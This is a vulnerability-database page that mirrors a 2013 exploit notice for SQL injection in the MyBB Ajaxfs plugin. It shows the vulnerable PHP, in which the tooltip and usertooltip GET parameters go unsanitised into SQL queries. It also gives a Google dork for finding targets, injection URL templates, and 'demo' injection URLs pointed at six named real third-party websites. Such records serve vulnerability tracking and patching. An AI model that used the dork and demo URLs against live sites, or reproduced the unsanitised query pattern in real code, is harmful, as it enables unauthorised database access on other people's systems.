Lucene search
K

MyBB Ajaxfs SQL Injection

🗓️ 20 Nov 2013 00:00:00Reported by IeDbType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

MyBB Ajaxfs Plugin SQL Injection vulnerability discovered by Iranian Exploit DataBase, allows SQL injection via tooltip and usertooltip parameters. High risk

Code
`#################################  
#  
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@  
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@   
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@   
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@   
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@  
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@  
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@  
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@  
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@  
#  
#####################################  
  
# Exploit Title : Mybb Ajaxfs Plugin Sql Injection vulnerability  
  
# Author : Iranian Exploit DataBase  
  
# Discovered By : IeDb  
  
# Email : [email protected] - [email protected]  
  
# Home : http://iedb.ir - http://iedb.ir/acc  
  
# Fb Page : https://www.facebook.com/pages/Exploit-And-Security-Team-iedbir/199266860256538  
  
# Software Link : http://mods.mybb.com/download/ajax-forum-stat-v-2  
  
# Security Risk : High  
  
# Tested on : Linux  
  
# Dork : inurl:ajaxfs.php  
  
#################################  
  
1)  
  
if(isset($_GET['tooltip']))  
{  
$pid=$_GET['tooltip'];  
$query_post = $db->query ("SELECT * FROM ".TABLE_PREFIX."posts WHERE pid='$pid'");  
  
  
2)  
  
if(isset($_GET['usertooltip']))  
{  
$uid=$_GET['usertooltip'];  
$query_user = $db->query ("SELECT * FROM ".TABLE_PREFIX."users WHERE uid='$uid'");  
  
http://localhost/Upload/ajaxfs.php?usertooltip=1'  
  
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1  
  
Google DORK : inurl:ajaxfs.php  
  
  
# Exploit :  
  
# http://site.com/mybb/ajaxfs.php?tooltip=[sql]  
  
# http://site.com/mybb/ajaxfs.php?usertooltip=[sql]  
  
# Dem0 :  
  
# http://www.forum.birahy.com/ajaxfs.php?tooltip=mostreffer'  
  
# http://www.tamishe.ir/ajaxfs.php?tooltip=mostreffer'  
  
# http://www.opencartvn.com/forum/ajaxfs.php?tooltip=mostreffer'  
  
# http://freenimbuzz.takbb.com/_mybb_/ajaxfs.php?tooltip='  
  
# http://dvlottery.us/ajaxfs.php?tooltip=13349'  
  
# http://www.taltallon.com/forum/ajaxfs.php?tooltip=mostreffer'  
  
#################################  
  
# Tnx To : All Member In Iedb.ir/acc & Iranian Hackers  
  
#################################  
  
# Exploit Archive = http://www.iedb.ir/exploits-889.html  
  
#################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Nov 2013 00:00Current
0.2Low risk
Vulners AI Score0.2
18